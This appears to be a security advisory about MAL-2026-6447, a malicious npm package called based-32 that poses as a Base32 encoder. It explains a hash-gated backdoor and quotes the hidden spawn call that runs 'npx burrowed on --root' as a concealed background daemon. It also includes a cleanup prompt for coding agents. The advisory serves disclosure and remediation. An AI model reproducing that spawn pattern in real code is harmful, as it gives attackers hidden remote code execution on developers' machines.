# MAL-2026-6447: Malicious code in based-32 (npm)


- **Type:** Malicious package
- **Package:** `based-32` (npm)
- **Published:** 25 Jun 2026

## What is MAL-2026-6447?

MAL-2026-6447 is a malicious package in based-32, published on 25 Jun 2026. 

### Official description

based-32 advertises itself as a zero-dependency RFC4648 Base32 encoding library, but `dist/index.js` ships a hidden trigger inside the exported `handleSecureEncode()` function (also reachable via the `based32 -s <data>` CLI). The function passes the caller's input through `checkSecurityProtocol()`, which SHA-256-hashes the input and compares it against the hardcoded constant `SECURITY_HASH = "71c37c896ba7d9164cc91cb4507df9d3f42bd2ce728a93673b3dabfda45c7ed2"`. On match, it executes `spawn('npx', ['burrowed','on','--root'], { detached: true, stdio: 'ignore', windowsHide: true, shell: true })` and calls `unref()` on the child, fetching and running the remote `burrowed` npm package as a detached, stdio-suppressed, window-hidden daemon. The surrounding try/catch swallows all errors so failures are silent. The naming (`SECURITY_HASH`, `checkSecurityProtocol`, `handleSecureEncode`) is a cover story — none of this behavior is documented in the README, and there is no Base32-related reason for the package to spawn npx, fetch a remote package, or run a daemon. Any environment where an attacker can deliver the magic input string into `handleSecureEncode` (or invoke `based32 -s`) gains arbitrary remote-code execution as a hidden background process under the installer's user.

## What should I do about MAL-2026-6447?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6447 is a malicious package: based-32 (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6447/ (Markdown: https://insights.sbomify.com/MAL-2026-6447/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6447

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-6447/
Summaries are generated and may contain mistakes; the official description above is the record.